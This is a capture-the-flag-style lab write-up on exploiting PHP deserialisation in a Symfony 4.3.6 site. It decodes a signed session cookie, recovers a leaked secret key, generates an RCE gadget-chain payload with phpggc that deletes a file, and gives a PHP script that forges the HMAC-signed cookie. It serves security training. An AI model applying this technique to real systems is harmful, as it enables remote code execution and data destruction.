Exploiting PHP deserialisation with a pre-built gadget chain

Description

This lab has a serialisation-based session mechanism that uses a signed cookie. It also uses a common PHP framework.

Reproduction and proof of concept

  1. Log in with wiener:peter and send a request containing the session cookie to Burp Repeater. Highlight the cookie and look at the Inspector panel.

  2. Notice that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash.

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ3N2RxdDRnaHdmcmx3aGVvNnNmMHRuNWR0dXY1Z214ZyI7fQ==","sig_hmac_sha1":"cb67bb077cb2d185e102452dbb53a595ea99f89a"}
  1. Copy the decoded cookie from the Inspector and paste it into Decoder.

  2. In Decoder, highlight the token and then select Decode as -> Base64.

{"token":"O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"w7dqt4ghwfrlwheo6sf0tn5dtuv5gmxg";}","sig_hmac_sha1":"cb67bb077cb2d185e102452dbb53a595ea99f89a"}

The token is actually a serialised PHP object.

  1. In Burp Repeater, observe that if you try sending a request with a modified cookie, an exception is raised because the digital signature no longer matches. And also notice that:

  • A developer comment discloses the location of a debug file at /cgi-bin/phpinfo.php.

Serialisation

  • The error message reveals that the website is using the Symfony 4.3.6 framework.

Serialisation

  1. Request the /cgi-bin/phpinfo.php file in Burp Repeater and observe that it leaks some key information about the website, including the SECRET_KEY environment variable.

Serialisation

Save this key; you’ll need it to sign your exploit later.

SECRET_KEY 	liwo648yhcpwlrhjriffb0bsvl1pz7uq
  1. Download the phpgcc tool (or install via package manager on kali) and execute the command to generate a Base64-encoded serialised object that exploits an RCE gadget chain in Symfony to delete Carlos’s morale.txt file:

$ phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6
e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBk
ZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVt
IjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0g
L2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hl
XEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENh
Y2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2Fj
aGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21w
b25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMi
O319Cg==
  1. Construct a valid cookie containing this malicious object and sign it correctly using the secret key obtained earlier. You can use the following PHP script to do this. Before running the script, you just need to make the following changes:

  • Assign the object you generated in phpgcc to the $object variable.

  • Assign the secret key that you copied from the phpinfo.php file to the $secretKey variable.

<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "liwo648yhcpwlrhjriffb0bsvl1pz7uq";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

Save as cookie.php and run it. This will output a valid, signed cookie to the console.

$ php cookie.php                                                
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%220f40533d1324c3522a3a74c82061b0c59565b26c%22%7D
  1. In Burp Repeater, replace the session cookie with the malicious one just created, then send the request to solve the lab.

Serialisation

Exploitability

Although attackers do not have source code access, they can still exploit this lab using pre-built gadget chains. An attacker will need to log in; identify the target framework; use a third-party tool to generate a malicious serialised object containing a remote code execution payload; work out how to generate a valid signed cookie containing the malicious object; and pass this into the website to delete the morale.txt file from Carlos’s home directory.